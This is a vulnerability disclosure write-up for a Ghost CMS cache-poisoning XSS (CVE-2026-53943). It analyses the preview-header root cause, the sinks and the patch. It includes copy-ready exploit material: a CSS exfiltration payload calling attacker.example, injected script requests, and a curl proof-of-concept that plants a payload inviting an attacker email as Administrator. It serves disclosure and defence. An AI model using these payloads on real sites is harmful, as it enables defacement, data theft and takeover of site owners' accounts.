Skip to content

CVE-2026-53943: Ghost CMS Cache-Poisoning XSS to Account Takeover

TL;DR

  • I found an unauthenticated cache-poisoning XSS in Ghost CMS, reached through the x-ghost-preview request header.
  • Ghost parsed that header on every theme request with no auth and no validation, then merged the values into the template's site data.
  • The attacker-controlled accent_color reached three injection sinks, two script tags (Portal and comments-ui) and a --ghost-accent-color CSS variable.
  • The response went out Cache-Control: public with no Vary on the header, so one anonymous request poisons every cache in front of Ghost.
  • When a signed-in staff member loads a poisoned page, the payload calls the Admin API from their browser, which I chained into account takeover by inviting a new Administrator via POST /ghost/api/admin/invites/.
  • Affects Ghost >= 4.0.0, <= 6.36.0 (CVE-2026-53943, GHSA-62q6-4hv4-vjrw), fixed in 6.37.0.

Summary

Ghost CMS was vulnerable to unauthenticated cache-poisoning cross-site scripting via the x-ghost-preview header because the parsed value reached HTML and CSS sinks without context-correct escaping, and the response was sent with Cache-Control: public while the cache had no way to tell two different x-ghost-preview values apart.

  • CVE: CVE-2026-53943
  • Product: Ghost CMS (ghost/core)
  • Vulnerability: Unauthenticated Cache-Poisoning Cross-Site Scripting to Account Takeover
  • Affected Versions: >= 4.0.0, <= 6.36.0
  • Fixed In: 6.37.0
  • CVSS Severity: 9.6 (critical)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
  • Required Privilege: None
  • Advisory: GHSA-62q6-4hv4-vjrw
  • Reported: May 6, 2026

A single anonymous HTTP GET with a crafted x-ghost-preview header is enough to poison any standards-compliant cache in front of Ghost. The poisoned body executes attacker-controlled JavaScript in every subsequent visitor's browser. For anonymous visitors that means defacement and phishing on the legitimate origin. For a signed-in staff user it means full Admin API access in their browser session.

Introduction

[A]I was looking through Ghost's frontend theme stack for sinks that interpolate site settings directly into HTML, and noticed that accent_color flows out into a few different places. That is the sort of value you expect to be a hex string, and Ghost mostly treats it that way. The surface that feeds it is broader than the admin UI though. There is a "preview" path that lets requests temporarily override site settings via a header, and that path does not gate on auth.

Put those two together: an unauthenticated header overrides a site setting, the value is inlined into HTML and CSS without context-correct escaping, and the response is cacheable. Ghost also runs its admin panel and public site on the same origin, so the same injection that defaces a page can drive the Admin API in a logged-in staff member's browser.

Root Cause Analysis

Preview Header Parser

The entry point is the x-ghost-preview header, parsed by preview.js.

// ghost/core/core/frontend/services/theme-engine/preview.js
const PREVIEW_HEADER_NAME = "x-ghost-preview";

function getPreviewData(previewHeader, customThemeSettingKeys = []) {
    // Keep the string shorter with short codes for certain parameters
    const supportedSettings = {
        c: "accent_color", // [1] Short code "c" maps onto accent_color.
        icon: "icon",
        logo: "logo",
        cover: "cover_image",
        custom: "custom",
        d: "description",
        bf: "body_font",
        hf: "heading_font",
    };

    let opts = new URLSearchParams(previewHeader); // [2] Header parsed as form-encoded data.

    const previewData = {};

    opts.forEach((value, key) => {
        value = decodeValue(value);
        if (supportedSettings[key]) {
            _.set(previewData, supportedSettings[key], value); // [3] Decoded value written through, unvalidated and unescaped.
        }
    });

    // ... custom theme settings parsing ...

    previewData._preview = previewHeader; // [4] _preview set whenever the header is present.

    return previewData;
}

The parser feeds the raw header value into URLSearchParams at [2], iterates the parsed pairs, and for each short code present in supportedSettings writes the decoded value into previewData at [3]. There is no auth check, no schema validation on the values, and no escaping. The short code we care about is c, which maps onto accent_color at [1].

Two consequences fall out of the URLSearchParams choice at [2]. First, the header is parsed as form-encoded data, so + decodes to a space and %xx sequences are decoded. That is useful to know for payload construction. Second, the parser sets previewData._preview = previewHeader unconditionally at [4], which becomes important when we look at the Portal sink.

Middleware Wiring

The preview parser is wired into the frontend pipeline via update-local-template-options.js.

// ghost/core/core/frontend/services/theme-engine/middleware/update-local-template-options.js
const preview = require("../preview");

// ... siteData initialised (url, admin_url) ...

const previewData = preview.handle(req, Object.keys(customThemeSettingsCache.getAll())); // [5] Returns the parsed header data.

// strip custom off of preview data so it doesn't get merged into @site
const customData = previewData.custom;
delete previewData.custom;

// update site data with any preview values from the request
Object.assign(siteData, previewData); // [6] Merged into siteData.

// ... member object built ...

hbs.updateLocalTemplateOptions(
    res.locals,
    _.merge({}, localTemplateOptions, {
        data: {
            member: member,
            site: siteData, // [7] siteData becomes data.site.
            custom: customData,
            ...(enableDeduplication && { _queryCache: new Map() }),
        },
    }),
);

preview.handle() returns the parsed header data at [5], which is Object.assigned into siteData at [6] and handed to the template engine as data.site at [7]. The header-controlled value now lives at data.site.accent_color, where any Handlebars helper that reads it picks it up on the next render.

Sink Primitive

Two of the sinks share one helper, getDataAttributes() in frontend-apps.js:

// ghost/core/core/frontend/utils/frontend-apps.js
function getDataAttributes(data) {
    let dataAttributes = "";

    if (!data) {
        return dataAttributes;
    }
    Object.entries(data).forEach(([key, value]) => {
        if (value === undefined) {
            return;
        }
        dataAttributes += `data-${key}="${value}" `; // [8] Raw template-literal interpolation into an HTML attribute.
    });

    return dataAttributes.trim();
}

The raw template literal at [8] drops value straight into an HTML attribute. A " in there closes the attribute, and a following </script> closes the surrounding element.

Cache Amplification Gap

The frontend cache middleware in frontend-caching.js sets Cache-Control: public with maxAge: caching:frontend:maxAge for non-private, non-member requests:

// ghost/core/core/frontend/web/middleware/frontend-caching.js
return shared.middleware.cacheControl("public", { maxAge: config.get("caching:frontend:maxAge") })(req, res, next);

What is missing is anything that tells the cache the x-ghost-preview header changed the body. There is no res.vary('x-ghost-preview') in the preview path, and the only Vary header the response ends up with is Vary: Accept-Encoding. From any cache's point of view, the request key is just the URL plus the negotiated encoding, so two requests with different x-ghost-preview values are indistinguishable and the first one in wins for the entire max-age window.

Sinks

The parsed accent_color reaches three sinks. Two are HTML-context sinks that execute script (Portal and comments-ui). The third reaches a CSS context through an HTML escaper that does not help there. All three fire from the same poisoned response.

Sink 1: Portal Script Tag

ghost_head.js renders the Portal loader's script tag and feeds attributes through getDataAttributes():

// ghost/core/core/frontend/helpers/ghost_head.js
const colorString = _.has(data, "site._preview") && data.site.accent_color ? data.site.accent_color : ""; // [9] Gated on _preview.
const attributes = {
    i18n: true,
    ghost: urlUtils.getSiteUrl(),
    key: frontendKey,
    api: urlUtils.urlFor("api", { type: "content" }, true),
    locale: settingsCache.get("locale") || "en",
};
if (colorString) {
    attributes["accent-color"] = colorString; // [10] Attacker value placed into the attribute set.
}
const dataAttributes = getDataAttributes(attributes); // [11] Same unescaped helper as [8].
membersHelper += `<script defer src="${scriptUrl}" ${dataAttributes} crossorigin="anonymous"></script>`; // [12] Interpolated into the script tag.

The accent colour is gated on data.site._preview at [9]. That looks like a meaningful auth check at first glance, but preview.handle() sets _preview whenever the x-ghost-preview header is present (see [4]). There is no separate auth on the preview state itself; the header that triggers the bug also flips the gate. Once the gate is open the attacker value lands in the attribute set at [10], runs through the unescaped helper from [8] at [11], and is interpolated into the script tag at [12].

The full ghost_head output is later wrapped in new SafeString(...), which tells Handlebars to skip its automatic HTML escaping, so the unescaped attribute value reaches the response body verbatim.

Sink 2: Comments-UI Script Tag

comments.js renders the comments-ui loader's script tag the same way:

// ghost/core/core/frontend/helpers/comments.js
let accentColor = "";
if (options.data.site.accent_color) {
    accentColor = options.data.site.accent_color; // [13] Same poisoned data.site.accent_color.
}

// ... frontendKey and scriptUrl resolved ...

const data = {
    locale: settingsCache.get("locale") || "en",
    "ghost-comments": urlUtils.getSiteUrl(),
    api: urlUtils.urlFor("api", { type: "content" }, true),
    admin: urlUtils.urlFor("admin", true),
    key: frontendKey,
    title: title,
    count: count,
    "post-id": this.id,
    "color-scheme": colorScheme,
    "avatar-saturation": avatarSaturation,
    "accent-color": accentColor, // [14] Placed into the data object.
    "comments-enabled": commentsEnabled,
    publication: settingsCache.get("title"),
};

const dataAttributes = getDataAttributes(data); // [15] Same unescaped helper.

return new SafeString(`
    <script defer src="${scriptUrl}" ${dataAttributes} crossorigin="anonymous"></script>
`); // [16] Reflected, and SafeString skips escaping.

This is the same primitive as Sink 1. The poisoned accent_color is read at [13], placed into the data object at [14], run through getDataAttributes() at [15], and emitted inside a SafeString at [16]. This sink is not gated on _preview. It renders whenever the helper runs on a post (this.comment_id set), comments are not turned off (Settings > Membership > Comments), and the viewer has access to the post. Because the value still comes from data.site.accent_color, the same header that poisons Sink 1 poisons this one too.

Sink 3: CSS Variable in Inline <style>

ghost_head.js injects an inline <style> block setting --ghost-accent-color:

// ghost/core/core/frontend/helpers/ghost_head.js
if (options.data.site.accent_color) {
    const accentColor = escapeExpression(options.data.site.accent_color); // [17] HTML-escaped here.
    const styleTag = `<style>:root {--ghost-accent-color: ${accentColor};}</style>`; // [18] Inserted into a CSS context.
    // ... styleTag appended to the head buffer ...
}

Sink 3 looks safer, since it does call escapeExpression() at [17]. That is HTML escaping (< > " ' &), and it would block the HTML-context attacks on Sinks 1 and 2 if it were applied there. But the context at [18] is CSS, not HTML. The bytes that break out of a CSS declaration are ;{}(), none of which HTML escaping touches. A payload like:

red;}body{background:url(//attacker.example/css-exfil)}/*

stays intact through escapeExpression() and reaches the inline <style> block as valid CSS. That is CSS injection rather than script execution, but it is still enough for attacker-controlled styles on the page, like defacement, CSS-driven phishing UI, and data exfiltration via crafted background: url(...) rules.

Picking the wrong escaper is sometimes worse than no escaper at all. It makes the code look like it has been hardened against this exact thing.

Cache Amplification: One Request, All Visitors

The bug only becomes critical because the response is cacheable. The interaction looks like this:

  1. Attacker sends one anonymous GET with a crafted x-ghost-preview header.
  2. Ghost renders the response with the poisoned accent_color reflected into the sinks.
  3. The response carries Cache-Control: public, max-age=300 (or whatever the operator configured) and Vary: Accept-Encoding.
  4. The CDN, reverse proxy, or browser cache stores the poisoned body keyed by URL plus negotiated encoding.
  5. Every subsequent visitor of that URL, for the next max-age seconds, gets the poisoned body served from cache.

The Vary: Accept-Encoding part matters for reproducing the attack from a browser. The body is compressed differently per encoding, so the cache keeps a separate copy for each Accept-Encoding value it sees, and nginx (and most caches) key that copy on the verbatim request header. Different clients negotiate different encodings. curl defaults to identity, modern Firefox and Chrome send gzip, deflate, br, zstd, and older clients drop zstd or br. A variant you have not poisoned just misses cache and pulls a clean copy from the origin, so a real attacker primes each common one. That is a handful of extra HTTP requests, all unauthenticated.

Because the cache keys on the literal string, ordering matters as well as the set, so the common orderings get primed too. With those covered, a visitor gets the poisoned body whenever their browser negotiates one of them.

Exploitation

Preconditions

  • The Ghost site is behind a cache that respects Cache-Control: public, max-age. That is the recommended production deployment, and it covers Ghost(Pro)'s Cloudflare layer, any standalone CDN, and most reverse-proxy setups.
  • A non-zero caching.frontend.maxAge in Ghost config. The OSS default is 0, but the documented production recommendation is non-zero, and Ghost(Pro) has it set out of the box.
  • For the comments-ui sink, native comments are enabled (default on membership sites). The Portal and CSS-context sinks reproduce without that.
  • For account takeover specifically, an authenticated staff user loading any poisoned URL within the cache TTL window. On a homepage or popular post, that window covers thousands of page views.

The attacker has no Ghost account, no membership, and never authenticates anywhere.

Manual Request

The minimum primitive looks like this:

GET /coming-soon/ HTTP/1.1
Host: target.example
X-Ghost-Preview: c=red"></script><script>alert(document.domain)</script>

That single request poisons the cache. A separate, headerless follow-up GET reproduces the injection:

GET /coming-soon/ HTTP/1.1
Host: target.example

With the response body containing a fragment like:

<script defer src="..." data-i18n="true" ... data-accent-color="red"></script>
<script>alert(document.domain)</script>" crossorigin="anonymous"></script>

The injected </script> closes the legitimate Portal tag; the new <script> element executes on page load. The Portal sink renders on any membership-enabled page. On a post that also loads native comments, the comments-ui script tag carries the same poison, so the payload fires a second time there.

Basic Demo (popping an alert)

Open the poisoned URL in a private window, no auth, no cookies:

alert(document.domain) firing on a poisoned page with no authentication, served straight from cache

The Portal sink fires on any membership-enabled page. On a post with native comments the comments-ui tag fires too, so the alert pops a second time right after you dismiss the first. A different browser on a different network hits the same cached body and sees the same alerts until the TTL expires.

Maximising Impact: Account Takeover

The default Ghost deployment serves admin at /ghost/ on the same origin as the public site. The admin session cookie is configured in express-session.js:

// ghost/core/core/server/services/auth/session/express-session.js
name: 'ghost-admin-api-session',
cookie: {
    maxAge: 6 * 30 * 24 * 60 * 60 * 1000, // 6 months in ms
    httpOnly: true, // [19] Blocks JS reads, not sending.
    path: urlUtils.getSubdir() + '/ghost', // [20] Scoped to the admin path.
    sameSite: urlUtils.isSSL(config.get('url')) ? 'none' : 'lax', // [21] None on HTTPS, Lax on plain HTTP.
    secure: urlUtils.isSSL(config.get('url'))
}

httpOnly: true at [19] stops JavaScript from reading the cookie, but it does nothing to stop the browser sending it. The path at [20] scopes the cookie to /ghost, which is where the Admin API lives. On an HTTPS site, which is any production deployment behind a CDN, sameSite resolves to 'none' and secure to true at [21]; on plain HTTP it falls back to 'lax'.

Either way the request that matters here is same-origin. The poisoned page and the Admin API are both served from the site's own origin, so a fetch('/ghost/api/admin/...', {credentials: 'include'}) from the injected script is same-origin and the browser attaches the ghost-admin-api-session cookie automatically. SameSite never enters into it, because nothing is crossing a site boundary. The attacker doesn't read the cookie; the browser sends it for them.

That is enough to invoke the Admin API as the staff user for the duration of a single page load. Before going for persistence, the same primitive can read admin-only data out of the session and ship it to an attacker endpoint. In my testing I pulled the staff accounts with GET /ghost/api/admin/users/, which returns names, emails, and roles for the Ghost team; the same session reaches the rest of the Admin API too, including members, integrations, and settings:

The /ghost/api/admin/users/ response with staff account data (name, email, role) read by the injected script in the signed-in staff browser

For a clean proof-of-takeover, I went straight to persistent admin access. The payload chains two Admin API calls:

fetch("/ghost/api/admin/roles/", { credentials: "include" })
    .then((r) => r.json())
    .then((d) =>
        fetch("/ghost/api/admin/invites/", {
            method: "POST",
            credentials: "include",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({
                invites: [
                    {
                        email: "attacker@evil.example",
                        role_id: d.roles.find((x) => x.name === "Administrator").id,
                    },
                ],
            }),
        }),
    );

The first call reads the role catalogue to find the Administrator role's UUID. The second POSTs an invite for that role to an attacker-controlled email. Ghost permits one Owner but unlimited Administrators, and an Administrator can perform every action above. Creating the invite needs no approval from the Owner, and the invite email lands straight in the attacker's inbox.

DevTools network panel showing the POST /ghost/api/admin/invites/ request firing in the signed-in staff browser

The Administrator invite email arriving in the attacker-controlled inbox

There is one caveat if you write your own payload. The URLSearchParams parsing in getPreviewData() form-decodes the value (see [2]), so any + in your JS collapses to a space when it lands in the cached body. Use template literals or commas instead of + for string concatenation.

PoC

The attacker's part is just cache poisoning. Send one anonymous GET per common Accept-Encoding variant (five in the loop below) to prime a cacheable URL with the payload, then walk away:

TARGET='https://target.example/coming-soon/'

PAYLOAD='c=red"></script><script>'\
'fetch("/ghost/api/admin/roles/",{credentials:"include"})'\
'.then(r=>r.json())'\
'.then(d=>fetch("/ghost/api/admin/invites/",{'\
'method:"POST",credentials:"include",'\
'headers:{"Content-Type":"application/json"},'\
'body:JSON.stringify({invites:[{'\
'email:"attacker@evil.example",'\
'role_id:d.roles.find(x=>x.name==="Administrator").id'\
'}]})'\
'}))</script>'

for enc in "" "gzip" "gzip, deflate" "gzip, deflate, br" "gzip, deflate, br, zstd"; do
    curl -sS -o /dev/null \
        ${enc:+-H "Accept-Encoding: $enc"} \
        -H "x-ghost-preview: $PAYLOAD" \
        "$TARGET"
done

All five return 200. The cache layer now serves the poisoned body to any visitor whose browser negotiates one of the primed encodings, until max-age expires. Add the other common orderings a browser might send to widen coverage.

The takeover fires the moment any signed-in Owner or Administrator loads that URL. attacker@evil.example then accepts the invite from their inbox and has persistent admin access on a CMS where they never authenticated as anyone.

Patch Diffing

Ghost shipped the fix in 6.37.0, released on May 7, 2026, one day after the report 👏 The fix is narrow. It does not touch the reflection at all. The parser, the getDataAttributes sink, both HTML sinks, and the CSS sink are byte-for-byte identical between v6.36.0 and v6.37.0. The only file in this path that changed is the frontend cache middleware.

 // ghost/core/core/frontend/web/middleware/frontend-caching.js
 const config = require('../../../shared/config');
 const shared = require('../../../server/web/shared');
 const {api} = require('../../services/proxy');
+const preview = require('../../services/theme-engine/preview');

 // ... unchanged ...

 function setFrontendCacheHeadersMiddleware(req, res, next) {
+    if (req.header?.(preview._PREVIEW_HEADER_NAME)) {
+        return shared.middleware.cacheControl('noCache')(req, res, next);
+    }
+
     // Caching member's content is an experimental feature, enabled via config
     const shouldCacheMembersContent = config.get('cacheMembersContent:enabled');

The patch adds a single guard at the top of the cache middleware, reusing the same x-ghost-preview constant the parser exports. Any request carrying that header now gets noCache, so a response built from preview data is never stored.

That removes the amplifier without touching the reflection. An attacker can still send the header and get their own unescaped value back, but nobody else receives it, so the primitive drops to self-XSS and the takeover chain can no longer reach a staff member's browser. Adding x-ghost-preview to the response's Vary header would have kept poisoned and clean copies apart in the cache. Not caching preview responses at all is the simpler version of the same fix.

Remediation

Update Ghost to 6.37.0 or later. That release stops the frontend cache middleware from caching any response built from an x-ghost-preview request, which removes the cross-visitor amplification the whole chain depends on.

Disclosure Timeline

  • May 6, 2026: Reported to Ghost security with PoC and proposed fix.
  • May 7, 2026: Fixed in Ghost 6.37.0.
  • May 28, 2026: GHSA-62q6-4hv4-vjrw published, CVE-2026-53943 assigned.

Conclusion

On its own, accent_color reflected into a script tag is barely worth reporting. The preview header only changes the attacker's own response, so it is self-XSS at most. What made it critical was the context around it. The response was cacheable with no way for the cache to tell a poisoned variant from a clean one, and Ghost serves its admin on the same origin as the blog by design. Cacheable turns self-XSS into stored XSS for every visitor, and same-origin admin turns a defacement into an Admin API call in a staff member's session.

References